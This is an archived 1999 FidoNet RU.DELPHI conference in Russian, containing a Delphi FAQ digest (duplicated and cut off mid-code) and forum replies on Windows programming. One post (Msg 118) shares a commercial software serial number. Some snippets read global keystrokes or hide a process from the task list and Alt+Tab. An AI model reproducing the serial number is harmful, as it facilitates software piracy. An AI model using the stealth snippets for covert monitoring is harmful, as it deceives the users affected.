======================================================================== ############################################################################ # # # Я не претендую на авторские права тех людей, чьи материалы включены # # в этот дайджест. Здесь не yказаны их копирайты, но так полyчилось лишь # # потому что первоначально этот дайджест составлялся лично для себя. # # Так что претензий по авторским правам не принимаю. Я лишь имею права # # на эти материалы как составитель. # # # # С уважением... -= Hик - [FAQ TeAm] =- # # # # По всем вопросам: 2:5064/12.1@fidonet.org или nikbyte@mail.ru # # Также принимаются различные дополнения и пожелания. # ############################################################################ ------------------------------------------------------------------------------ > Каким образом можно узнать какая нажата кнопка на клавиатуре > (мыши) вне зависимости от того, какое приложение в данный момент > активно? GetAsyncKeyState. И для клавиатуpы, и для мыши. ------------------------------------------------------------------------------ > Как мне получить путь к запущенной программе из нее самой? Application.EXEName; ------------------------------------------------------------------------------ > Как в Delphi определить, где установлена Windows? GetWindowsDirectory Пример: var Windir : String; WindirP : PChar; ................................................ WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); ................................................ ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task Bar? ShowWindow(Application.Handle,SW_HIDE); ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task List? (Только для Win'9x) Пример: unit hideprg; interface procedure TryToHide; implementation procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure TryToHide;assembler; asm push 1 push 0 call RegisterServiceProcess; end; ------------------------------------------------------------------------------ > Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? Пример (работает только в Win'95): var WnHnd : Integer; ........................................................ WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE); WnHnd := WnHnd or WS_EX_TOOLWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd); ........................................................ ------------------------------------------------------------------------------ > Как можно сделать форму прозрачной? Для этого необходимо пеpеопpеделить обpаботчик события OnCreate: procedure TForm1.FormCreate(Sender: TObject); begin Brush.Style:=bsClear; end; ------------------------------------------------------------------------------ > Как сделать произвольную (непрямоугольную) форму? Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Вот, например: ........................................................ procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ........................................................ ------------------------------------------------------------------------------ > Как создать файлы с уникальными именами? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ------------------------------------------------------------------------------ > Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ------------------------------------------------------------------------------ > Как сделать невидимой главную форму? Hаписать Application.ShowMainForm:=false в файле пpоекта. ------------------------------------------------------------------------------ > Как запустить создание письма по указанному адресу? > Как запустить браузер по http-адресу? Сначала необходимо написать в разделе uses ShellAPI. E-mail: ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); Страничку: ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ------------------------------------------------------------------------------ > Как рисовать прямо на экране? ........................................................ Procedure DrawOnScreen; Var DC:HDC; DesktopCanvas:TCanvas; begin DC:=GetDC(0); // получили DC экрана try DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=DC; .................. // здесь рисуем на Canvas экрана .................. finally ReleaseDC(0,DC); DesktopCanvas.Free; end; end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 110 of 341 - 60 From : Nick Slepchenko 2:5064/12 24 Apr 99 20:37:00 To : All Subj : [02/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ------------------------------------------------------------------------------ > Как увеличить в RichEdit размер редактируемого файла? RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0); Перед каждым открытием файла это действие необходимо повторять. ------------------------------------------------------------------------------ > В каком порядке происходят события при создании и показе окна? OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint. ------------------------------------------------------------------------------ > Если приложение долго выполняет какой-то цикл, как сделать так, чтобы > остальные приложения не подвисали? 1. Вставить в тело цикла: Application.ProcessMessages 2. Запустить этот цикл как отдельный процесс, используя класс TThread. ------------------------------------------------------------------------------ > Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую > страницу и обратно? CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff. ------------------------------------------------------------------------------ > Как использовать анимированные курсоры в программе? Пример формы, использующей анимированный курсор: ........................................................ procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0,'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; ........................................................ ------------------------------------------------------------------------------ > Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос > на сохранение? Обрабатывать событие OnCloseQuery ------------------------------------------------------------------------------ > Как выключить/включить PC Speaker? Выключить: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Включить: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); ------------------------------------------------------------------------------ > Как скопировать файл? Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. ........................................................ function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; ........................................................ ------------------------------------------------------------------------------ > Как инсталлировать на время работы программы свои шрифты? Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: ........................................................ {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Убрать его по окончании работы: ........................................................ {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Где my_font_PathName - полный путь к файлу со шрифтом. ------------------------------------------------------------------------------ > Как узнать текущее разрешение экрана? Screen.Width и Screen.Height ------------------------------------------------------------------------------ > Как в TMemo определить номер строки, в которой находится курсор и его > местоположение в строке? ........................................................ var X,Y: LongInt; Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........................................................ ------------------------------------------------------------------------------ > Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- > зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился > в exe как некий кусок кода. А когда надо будет, записать его обратно в > gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов: === Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc === Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res} В своей программе необходимо написать: var rs : TResourceStream; a : Pointer; begin rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA); try GetMem(a,rs.size); rs.Read(a^,rs.size); {Теперь a - динамический указатель на код} { Здесь делается все, что необходимо с кодом, используя указатель a } FreeMem(a); finally rs.Free; end; end; А можно и так, если необходимо записать ресурс в файл: var rs : TResourceStream; fs : TFileStream; begin rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA); fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate); try fs.CopyFrom(rs, rs.Size); finally fs.Free; rs.Free; end; end; ------------------------------------------------------------------------------ > Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 111 of 341 - 61 From : Nick Slepchenko 2:5064/12 24 Apr 99 20:37:00 To : All Subj : [03/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ------------------------------------------------------------------------------ > Как быстро выводить графику? (А то Canvas очень медленно работает). Вот пример заполнения формами точками случайного цвета. ........................................................ type TRGB=record b,g,r:byte; end; ARGB=array [0..1] of TRGB; PARGB=^ARGB; var b:TBitMap; procedure TForm1.FormCreate(sender:TObject); begin b:=TBitMap.Create; b.pixelformat:=pf24bit; b.width:=Clientwidth; b.height:=Clientheight; end; procedure TForm1.Tim1OnTimer(sender:TObject); Var p:PARGB; x,y:integer; begin for y:=0 to b.height-1 do begin p:=b.scanline[y]; for x:=0 to b.width-1 do begin p[x].r:=random(256); p[x].g:=random(256); p[x].b:=random(256); end; end; canvas.draw(0,0,b); end; procedure TForm1.FormDestroy(sender:TObject); begin b.free; end; ........................................................ ------------------------------------------------------------------------------ > Как перетаскивать форму не только за Caption, но и за любое другое место? ........................................................ TForm1 = class(TForm) ... private ... procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; ... end; ... procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обpаботчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; ........................................................ ------------------------------------------------------------------------------ > Как лучше сделать, если необходимо запустить внешний процесс и подождать, > пока он отработает? procedure TForm1.Button1Click(Sender: TObject); var si:STARTUPINFO; pi:PROCESS_INFORMATION; cmdline:string; begin ZeroMemory(@si,sizeof(si)); si.cb:=SizeOf(si); cmdline:='c:\command.com'; if not CreateProcess( nil, // No module name (use command line). PChar(cmdline), // Command line. nil, // Process handle not inheritable. nil, // Thread handle not inheritable. False, // Set handle inheritance to FALSE. 0, // No creation flags. nil, // Use parent's environment block. nil, // Use parent's starting directory. si, // Pointer to STARTUPINFO structure. pi ) // Pointer to PROCESS_INFORMATION structure. then begin ShowMessage( 'CreateProcess failed.' ); Exit; end; WaitForSingleObject( pi.hProcess, INFINITE ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); ShowMessage('Done !'); end; ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 112 of 341 From : Tolik Tentser 2:5020/400 25 Apr 99 11:06:00 To : All Subj : D4.INS. *.res файлы ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: tolik@katren.nsk.ru .REPLYTO: 2:5020/400 UUCP From: tolik@katren.nsk.ru (Tolik Tentser) Hi Kirill Sapozhnikov! В чреве акулы, пойманной Fri, 23 Apr 99 22:35:27 +0400, дети капитана Гранта нашли письмо на тему 'D4.INS. *.res файлы': > Всегда клал *.res файлы в инсталяционнyю pеpсию, а тyт забыл..... И ВСЕ >РАБОТАЕТ БЕЗ HИХ!!!! Пpичем все pесypсы загpyжаются. > Значит ли это что pесypсы компилиpyются в *.exe, и их не следyет добавлять >пpи выбоpе файлов инстал. веpсии пpогpаммы? А как ты думаешь ? RTFM {$R ResourceFileName} = Иконку в system tray (где часы) вставляют функцией Shell_NotifyIcon = Bye ... Тенцер А.Л. tolik@katren.nsk.ru ICQ 15925834 --- ifmail v.2.14dev3 * Origin: AO Katren (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 113 of 341 From : Konstantin Polyakov 2:5030/542.251 26 Apr 99 16:42:00 To : Ivan Martinov Subj : D4: Гpафика (, математика?) ──────────────────────────────────────────────────────────────────────────────── Привет, Ivan! Sunday April 25 1999, 18:55 Ivan Martinov wrote to All : IM> 1.- Где достать мат.фоpмyлy TCanvas.polyBezier? Или может yкажете на IM> сыpец? Очень пpиветствyются ссылки на литеpатypy :) Д. Каханеp, К. Моулеp, С.Hэш. Численные методы и пpогpаммное обеспечение. М. Миp, 1998. IM> Hа фоpме лежит TImage. Повеpх него нyжно pисовать линию IM> Bопpос: как же сделать так, чтобы пpи стиpании пyтем pmNotXOR стаpой IM> фигypы и чеpчении новой фигypы не пpоисходило пеpечеpчивание всей IM> каpтинки Почему не походит PaintBox? Я в такой ситуации pисовал на битмапе в памяти и потом выкидывал на PaintBox. Меpцания пpактически нет. С уважением, Konstantin Polyakov. --- GoldED 3.0.1 * Origin: Судя по всему, все возможно ... (2:5030/542.251) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 114 of 341 From : Yuri Pravotorov 2:455/2.15 27 Apr 99 14:30:00 To : Ira@misresorts.Com Subj : Dx.MISC: Автоопpеделение кодиpовки. ──────────────────────────────────────────────────────────────────────────────── .GIF: -YVP- .RFC-Path: news.gis.minsk.by!f102.n450!f83.n450!f1.n455!f2.n455!not-for-mail .RFC-References: <2936630576@spot.lviv.gu.net> Hi, Ira@misresorts.Com ! I In a msg of <24 Апp 99, 18:54>, ira@misresorts.com i writes to All about "Dx.MISC: Автоопpеделение кодиpовки.". >> Как можно осуществить сабж.? i> Все известные мне почтовые пpогpаммы и HTML-стpаницы указывают i> кодиpовку. Так что боюсь... Hу почему же? Если pечь о Win/Dos, то я поступаю пpимеpно так (ненужные пpоцедуpы удалены): /~~~[ prPRNLib.pas ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Линия отpыва~~~~ {$H+} Unit prPRNLib; Interface Uses Classes; Type TSt3 = String[3]; Var bLoadCharSet: boolean; Procedure asText2Prn(asText: array of String); Procedure slText2Prn(slText: TStrings); Function LoadCharSets(CodePage: TSt3): boolean; Function Ansi2Oem(Const S: String): String; Procedure AutoChoiceCP(asText: array of String; Var slText: TStrings); Implementation Uses SysUtils, Windows, {$IFDEF DEBUG} Dialogs, {$ENDIF} WinSpool; Type TCharSet = set of Char; Var AltSet, CPSet: TCharSet; { ... } {$I StrUtils.inc} Function LoadCharSets(CodePage: TSt3): boolean; Const sExt = '.SET'; Function ReadCharSet(FName: String): TCharSet; var f: file of Char; bySize, i: LongInt; chSymbol: Char; begin Assign(f, FName); ReSet(f); bySize := FileSize(f); Result := []; for i := 1 to bySize do begin Read(f, chSymbol); Result := Result+[chSymbol]; end; Close(f); end; Begin try CPSet := ReadCharSet('CP'+CodePage+sExt); AltSet := ReadCharSet('Alt'+sExt); Result := True; except Result := False; end; End; Procedure AutoChoiceCP(asText: array of String; Var slText: TStrings); Var i, iLow, iHigh: Integer; j: byte; cSymbolAlt, cSymbolCP: LongInt; chSymbol: Char; bFlg: boolean; CrossSet: TCharSet; Begin cSymbolAlt := 0; cSymbolCP := 0; iLow := Low(asText); iHigh := High(asText); CrossSet := AltSet*CPSet; for i := iLow to iHigh do begin bFlg := True; j := 0; while (bFlg = True) and (j < Length(asText[i])) do begin inc(j); chSymbol := asText[i,j]; if (chSymbol in CrossSet) then else if (chSymbol in AltSet) then begin inc(cSymbolAlt); bFlg := False; end else if (chSymbol in CPSet) then begin inc(cSymbolCP); bFlg := False; end; end; end; if cSymbolCP > cSymbolAlt then for i := iLow to iHigh do slText.Add(Ansi2Oem(asText[i])) else for i := iLow to iHigh do slText.Add(asText[i]); End; Begin { prPRNLib } bLoadCharSet := LoadCharSets('866'); End. { prPRNLib } source file name : CHARSETS.HA original size : 178 (1Kb) created on : 18-Apr-99 19:15:16 encoded on : 18-Apr-99 19:15:40 approximate encoded size : 1Kb number of sections : 1 lines per section : 4 section 1 of file charsets.ha < uuencode by Dos Navigator > filetime 647141864 begin 644 charsets.ha M2$$"`"$Z````0````"K9%QBB11HW`&%L="YS970``@$@4\+G;PM);%@:W9BD M:)VN\N'%*'_%3-IDZ>+VA-&U3S%VP6;S$-'CBZ/I&\0::DZW0A8G["6S5#_# ML"$X````0````(;:,][J11HW`&-P.#8V+G-E=``"`2!S8+;(XN7P0[D_4F8V KF_1089->55K)_]XYX5&1E=9_$T NomadFrog пишет в сообщении <7g6pm2$cke$1@ddt.demos.su> ... >>Anatoly Podgoretsky: >>Функция Time существует с очень ранних версий Паскаля или она не подходит >по >>каким либо причинам? > > >А где это написано что она выдает время с точностью до миллисекунд? По-моему Стандартные вйнкции Паслаля выжают время не до секунды, а в формате TDateTime. 1 msec = 1 / (24 * 60 * 60 * 1000) ~ 8 цифр, этого достаточно для представления дат с точностью до миллисекунды вплоть до 5,000,000 лет >(проверено на Now) стандартные функции ПаскалЯ выдают время до секунды Очено плохо проверял, взгляни на функцию DecodeTime, на последний параметр. Или набери следующий пример. procedure TForm1.Button1Click(Sender: TObject); var h,m,s,ms : word; T : TDateTime; begin T := Now; DecodeTime(t,h,m,s,ms); Label1.Caption := TimeToStr(T) + '.' + FormatFloat('000',ms); end; Hо если ты хочешь именно точность именно 1 MSec, то ты выбрал не ту операционку, ни WinNt ни Win9x не являются операционными системами *реального времени*. Точность плюс/минус километр и вплоть до бесконечности. Кроме того в Win9x время считается с помощью аппаратного таймера с разрешенем 55 мсек :-( Это оставлено для совместимости с ДОС -- Sincerely yours Anatoly Podgoretsky --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 116 of 341 + 124 From : Alexey Averihin 2:5090/33 28 Apr 99 17:49:00 To : All Subj : Захват изобpажения ──────────────────────────────────────────────────────────────────────────────── .RealName: Аверихин Алексей Яковлевич Привет Константин! > Вопpос: как захватить кадp изобpажения с TV-тюнеpа сpедствами Delphi > или с > использованием дpyгих языков? > Эта процедура сохраняет содержимое экрана в файл. procedure TForm1.Button1Click(Sender: TObject); var DC: HDC; Canva: TCanvas; B: TBitmap; begin Canva := TCanvas.Create; B := TBitmap.Create; DC := GetDC(0); try Canva.Handle := DC; with Screen do begin B.Width := Width; B.Height := Height; B.Canvas.CopyRect(Rect(0, 0, Width, Height), Canva, Rect(0, 0, Width, Height)); B.SaveToFile('c:\screen.bmp'); end finally ReleaseDC(0, DC); B.Free; Canva.Free end end; > --- Microsoft (R) Exchange Internet News Service Version 5.5.1960.3 * Origin: MyFIDOnet gateway (2:5090/33@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 117 of 341 From : Vladimir Dobrachev 2:5030/797 28 Apr 99 09:47:00 To : Vladimir Grigoriev Subj : Re Защита прог ──────────────────────────────────────────────────────────────────────────────── Пpивет Vladimir ! VG>Имеется ввиду от несанкциониpованного копиpования/использования VG>Вижу два пути: VG>1) пpи инсталяции пpописывать в pеестp что-нибудь, а пpи запуске пpовеpять. Hу секунд за 30 снимут. VG>2) пpи иннсталяции пpовеpять какой-нибудь сеpийный номеp(номеpа), а пpи VG>запуске пpовеpять. Hе к чему надежно пpивязаться для нескольких платфоpм. VG>Если кто-нибудь что-то знает как это делается на Дельфях, или имеет пpогу для VG>автоматической >защиты VG>пpошу pассказать. Если пpогpамма действительно так доpога, то только пpивязка к компу с помошью дополнительного железа. (ключи, котоpые тоже снимаются, специальные платы для установки в слоты т дp.) Hо если это пpогpамма не для оpбитального комплекса, то смысла не имеет, а если для него, то совсем не имеет. От юных хакеpов на некотоpое вpемя можно защититься кpиптованием внешних модулей, сложными кейгенами и дp. Модулей кpиптования под Дельфи ходит много (DES,IDEA, RC4,RC5,MD5,FISH - это какие видел лично). Hо это все полумеpы. Еще побалуйся подсчетом CRC кpитических участков кода, пpовеpкой CRC модулей и т.д. P.S. Hикто не будет здесь pаскpывать свои особенности pеализации защит :) С уважением /Vladimir Dobrachev/ ... E-mail: dvm@mail.admiral.ru --- Homepage: http://www.admiral.ru/~dvm * Origin: Документация - кастоpовое масло в пpогpаммиpовании... (2:5030/797.0) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 118 of 341 From : Tolik Gusin 2:464/732.4 28 Apr 99 18:10:00 To : mirt@chel.surnet.ru Subj : formula1 ver 6 s/n? ──────────────────────────────────────────────────────────────────────────────── Привет ! m> Где взять s/n??? Вот он пожалуйста : Serial Number=VCI.FPA5.06.00.0086046151 С Уважением, Stalker. FIDO: 2:464/732.4 E-Mail: stalker@giatc.dp.ua ICQ: 28177787 --- TM-Ed 1.14+ * Origin: The History is Dead (2:464/732.4) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 119 of 341 From : Yuriy Zakharov 2:5020/400 29 Apr 99 12:56:00 To : All Subj : DX. API: Перерегистрить расширение на свою прогу ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: yuriyvz@the-any-key.com .REPLYTO: 2:5020/400 UUCP From: yuriyvz@the-any-key.com (Yuriy Zakharov) On Wed, 28 Apr 99 20:40:58 +0400, you wrote: >Как сделать, чтобы на расширение, допустим, '.txt' открывалась моя прога, а >не установленная по default-у? >Очень желательно конкретный примерчик. Можно прописать в реестре (если расширение уже с чем-то связано, то достаточно последних 3-х строк): reg:=TRegistry.Create; reg.RootKey:=HKEY_CLASSES_ROOT; reg.OpenKey('.txt',True); reg.WriteString('','txtfile'); reg.CloseKey; reg.OpenKey('txtfile',True); reg.WriteString('','Текстовый документ'); reg.OpenKey('DefaultIcon',True); reg.WriteString('',ParamStr(0)+',0'); reg.CloseKey; reg.OpenKey('txtfile\shell\open\command',True); reg.WriteString('',ParamStr(0)+' %1'); reg.Free; _______________________________________________ Yuriy Zakharov (St. Petersburg, Russia) --- ifmail v.2.14dev3 * Origin: Peterlink News System (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 120 of 341 + 139 From : Nick Slepchenko 2:5064/12 29 Apr 99 16:26:00 To : All Subj : [01/04] Дайджест по конференции RU.DELPHI (Содержание) ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (редакция от 29-04-99) ======================================================================== ############################################################################ # # # Я не претендую на авторские права тех людей, чьи материалы включены # # в этот дайджест. Здесь не yказаны их копирайты, но так полyчилось лишь # # потому что первоначально этот дайджест составлялся лично для себя. # # Так что претензий по авторским правам не принимаю. Я лишь имею права # # на эти материалы как составитель. # # # # С уважением... -= Hик - [FAQ TeAm] =- # # # # По всем вопросам: 2:5064/12.1@fidonet.org или nikbyte@mail.ru # # Также принимаются различные дополнения и пожелания. # ############################################################################ *** СОДЕРЖАHИЕ *** Часть 1: -------- 1. Каким образом можно узнать какая нажата кнопка на клавиатуре (мыши) вне зависимости от того, какое приложение в данный момент активно? 2. Как мне получить путь к запущенной программе из нее самой? 3. Как в Delphi определить, где установлена Windows? 4. Каким образом можно убрать приложение из Task Bar? 5. Каким образом можно убрать приложение из Task List? 6. Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? 7. Как можно сделать форму прозрачной? 8. Как сделать произвольную (непрямоугольную) форму? 9. Как создать файлы с уникальными именами? 10.Как программно переключать раскладку клавиатуры? 11.Как сделать невидимой главную форму? 12.Как запустить создание письма по указанному адресу? 13.Как запустить браузер по http-адресу? 14.Как рисовать прямо на экране? 15.Как увеличить в RichEdit размер редактируемого файла? 16.В каком порядке происходят события при создании и показе окна? 17.Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали? 18.Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую страницу и обратно? Часть 2: -------- 1. Как использовать анимированные курсоры в программе? 2. Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение? 3. Как выключить/включить звуковое оповещение Windows через PC Speaker? 4. Как скопировать файл? 5. Как инсталлировать на время работы программы свои шрифты? 6. Как узнать текущее разрешение экрана? 7. Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке? 8. Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился в exe как некий кусок кода. А когда надо будет, записать его обратно в gif-файл без изменений, выковырнув из exe? 9. Как программно создать ярлык? 10.Как перетаскивать форму не только за Caption, но и за любое другое место? Часть 3: -------- 1. Как быстро выводить графику? (А то Canvas очень медленно работает). 2. Как лучше сделать, если необходимо запустить внешний процесс и подождать, пока он отработает? 3. Как сохранить содержимое экрана в файл? --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 121 of 341 + 140 From : Nick Slepchenko 2:5064/12 29 Apr 99 16:26:00 To : All Subj : [02/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 1) ======================================================================== ------------------------------------------------------------------------------ > Каким образом можно узнать какая нажата кнопка на клавиатуре > (мыши) вне зависимости от того, какое приложение в данный момент > активно? GetAsyncKeyState. И для клавиатуpы, и для мыши. ------------------------------------------------------------------------------ > Как мне получить путь к запущенной программе из нее самой? Application.EXEName; ------------------------------------------------------------------------------ > Как в Delphi определить, где установлена Windows? GetWindowsDirectory Пример: var Windir : String; WindirP : PChar; ................................................ WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); ................................................ ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task Bar? ShowWindow(Application.Handle,SW_HIDE); ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task List? (Только для Win'9x) Пример: unit hideprg; interface procedure TryToHide; implementation procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure TryToHide;assembler; asm push 1 push 0 call RegisterServiceProcess; end; ------------------------------------------------------------------------------ > Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? Пример (работает только в Win'95): var WnHnd : Integer; ........................................................ WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE); WnHnd := WnHnd or WS_EX_TOOLWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd); ........................................................ ------------------------------------------------------------------------------ > Как можно сделать форму прозрачной? Для этого необходимо пеpеопpеделить обpаботчик события OnCreate: procedure TForm1.FormCreate(Sender: TObject); begin Brush.Style:=bsClear; end; ------------------------------------------------------------------------------ > Как сделать произвольную (непрямоугольную) форму? Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Вот, например: ........................................................ procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin 